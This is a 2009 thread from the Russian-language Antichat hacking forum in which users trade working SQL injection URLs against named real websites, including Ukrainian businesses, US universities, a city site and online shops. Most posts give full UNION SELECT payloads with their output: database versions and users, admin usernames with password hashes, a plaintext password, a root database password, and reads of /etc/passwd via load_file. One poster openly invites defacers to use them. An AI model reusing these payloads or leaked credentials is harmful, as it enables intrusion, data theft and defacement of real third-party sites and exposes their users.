ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.02.2009, 05:43
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами: 11278406

Репутация: 818


По умолчанию

Короче всё кидаю в КВОТС, чтоб не сортировать:
Цитата:
landhaus.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11
5.0.45-log
=
www.shoptraffic.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6
4.1.22-standard (магазин)
=
www.jean-jack.com.ua/news.php?id=-3+UNION+SELECT+1,2,3
5.0.44-log
=
ceramica.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4
5.0.41-community-log
=
www.sana-med.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8
5.1.22-rc-log
9fed66b17b90086737f7718f83f2c6dd:admin (pass='a825kgg2')
fd0b92d4c80b798d554a50080e826e00:Админист атор
=
fit-terminal.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11
5.0.45-log
редирект на Индекс, только через сканеры скуль.
=
salve.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5
http://salve.com.ua/news.php?id=-3+UNION+SELECT+1,2,concat(user,0x3a,pass),4,5+from +user
valera:4fd7b3202a2b2997e6ab124ec039422e
5.0.51a
=
panbud.com.ua/news.php?id=-3+UNION+SELECT+1,2,3
5.0.45-log
=
crimea.activelife.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4
4.1.22
=
www.unimed.com.ua/a-news/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7,8,9
4.1.22-log
3й сайт в Гугле
=
www.foros.com.ua/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7
5.0.67-community-log
Первый по гуглу

=
www.cipa.org.ua/ukr/news/news.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7
4.1.22
=
kievrealtor.org.ua/news.php?id=-3+UNION+SELECT+1,2,3,4
4.1.22-standard
http://kievrealtor.org.ua/news.php?id=-3+UNION+SELECT+1,concat(username,0x3a,pass),3,4+fr om+user+limit+0,1
vitalik:96656904e7aa6bf36b726ad9b93f13c6a81636ed
С правами:
Цитата:
=
zno-kharkiv.org.ua/news.php?id=-3+UNION+SELECT+1,2
http://zno-kharkiv.org.ua/news.php?id=-3+UNION+SELECT+1,file_priv+from+mysql.user
file_priv=Y
user()
siteuser@zno-kharkiv.org.ua
http://zno-kharkiv.org.ua/news.php?id=-3+UNION+SELECT+1,file_priv+from+mysql.user+where+u ser='siteuser'
file_priv=Y
ЗЫ vitalik:96656904e7aa6bf36b726ad9b93f13c6a81636ed
43 символа, что за хэш, я таких невстречал ?

Последний раз редактировалось b3; 18.02.2009 в 05:52..
 
Ответить с цитированием

  #2  
Старый 18.02.2009, 06:45
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Game Happy - Счастливые игры :-)

Код:
gamehappy.ru/games/logic'+or+ascii(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1))%3E'1/
 
Ответить с цитированием

  #3  
Старый 18.02.2009, 13:25
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами: 10339586

Репутация: 1396


По умолчанию

обед
Цитата:
http://mis.lenoircc.edu/calendar/showevent.php3?id=-22740'+union+select+1,2,3,load_file('/etc/passwd'),5,6,7,8,9,10,11,12,13,14,15/*
Version:4.0.16
Dbname:wabash
User: root@localhost
Цитата:
$hostname = 'localhost';
$user = 'root';
$pass = 'rusty1';
Вперёёёдд, дефейсеры и другие дебилы...


зы: я потом логи просмотрю и выложу в болталке ;-)
 
Ответить с цитированием

  #4  
Старый 18.02.2009, 14:19
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию

PageRank = 7

Цитата:
http://www.mbl.edu/marine_org/flescher/flescher.php?func=detail&id=206875871+union+select +concat_ws(0x3a,version(),user(),database()),2,3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 ,40,41,42,43,44,45,46,47,48,49,50,51,52--

Database Version: 5.0.7-beta-standard
Database name: flescher
User name: root@hermes.mbl.edu


Цитата:
http://www.mbl.edu/marine_org/flescher/flescher.php?func=detail&id=206875871+union+select +concat_ws(0x3a,user,password),2,3,4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,4 4,45,46,47,48,49,50,51,52+from+mysql.user--
root : 475bf8887babd6b6


Читаем /etc/passwd

Цитата:
http://www.mbl.edu/marine_org/flescher/flescher.php?func=detail&id=206875871+UNION+SELECT +CONCAT(0x3a,LOAD_FILE(0x2F6574632F706173737764),0 x3a),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,3 6,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--
 
Ответить с цитированием

  #5  
Старый 18.02.2009, 14:24
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

ci.bartlesville.ok.us - PR1 =\
Код:
http://www.ci.bartlesville.ok.us/page.php?page=-1183+UNION+SELECT+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
DB_Ver: 4.0.27-max-log
DB_User: pendergraphics@68.178.254.114
DB: pendergraphics
Дальше поверхностно глянул ничего интересного =((
 
Ответить с цитированием

  #6  
Старый 18.02.2009, 14:37
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию

Цитата:
http://dvaction.northwestern.edu/categorybrowse.php?id=4798798654+union+select+1,2, 3,4,concat_ws(0x3a,version(),user(),database())--
Database Version: 5.0.27
Database name: dvaction
User name: ro@localhost
 
Ответить с цитированием

  #7  
Старый 18.02.2009, 14:54
molotovkeyt
Новичок
Регистрация: 02.11.2008
Сообщений: 25
С нами: 9221480

Репутация: 55
По умолчанию

Замечательная студия невероятного дизайна )):
http://www.avestudio.ru/?pg=7&id=49&iDsub=48
Практически все сайты с дырявым мускулем. Дерзайте.
 
Ответить с цитированием

  #8  
Старый 18.02.2009, 15:19
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию

PageRank = 6

Цитата:
http://www.howtostudy.org/resources_subject.php?id=28098097096550+union+sele ct+1,concat_ws(0x3a,version(),user(),database()),3--
4.1.22
studyskills@localhost
howtostudy


Шопы -) PR = 4

Цитата:
http://www.aromaticsinternational.com/search-results.php?nav=other&cat=3809809708976+union+sele ct+1,concat_ws(0x3a,version(),user(),database()),3 ,4,5,6--

Database Version: 5.0.32-Debian_7etch8-log
Database name: aromatics
User name: aromatics@localhost

Администраторы:

Цитата:
http://www.aromaticsinternational.com/search-results.php?nav=other&cat=3809809708976+UNION+SELE CT+1,CONCAT(0x3a,(SELECT+CONCAT(user_ID,0x3a,user_ name,0x3a,pass_word)+FROM+aromatics.admin_users+LI MIT+0,1),0x3a),3,4,5,6--
user_ID : user_name : pass_word

: 1 : corey : 3d01fb21c5a7b2995b4c0bc263d90784
: 3 : andrea : 478884f1d0e0c32d0a9a0f1a32ab1acb
: 5 : maria : a5647dd8e76d815833a0d25d29f74747
: 6 : alexander : c68763c0c7204310ef465cfd4d034441




Цитата:
http://www.cdsp.edu/news_deans.php?id=27987986650+union+select+1,2,con cat_ws(0x3a,version(),user(),database())--

4.1.22-log
vshields@localhost
webb_design

Последний раз редактировалось spherics; 18.02.2009 в 16:05..
 
Ответить с цитированием

  #9  
Старый 18.02.2009, 16:04
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию

Код:
http://www.f1links.com/list.php?id=36+union+select+1,2,user,4,pass,6,7,8,9,10,11,12,13,14+from+users--
 
Ответить с цитированием

www.tamasHYI.ro
  #10  
Старый 18.02.2009, 16:13
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию www.tamasHYI.ro

http://www.tamashyi.ro/arte_martiale.php?ID=3+UNION+SELECT+1,2,AES_DECRYP T(AES_ENCRYPT(CONCAT(0x3a,Version(),Database(),Use r()),0x71),0x71),4



Database Version: 5.0.51a-community
Database name: tamashyi_tamashy
User name: tamashyi_tamashy@localhost
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 10 (пользователей: 0 , гостей: 10)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.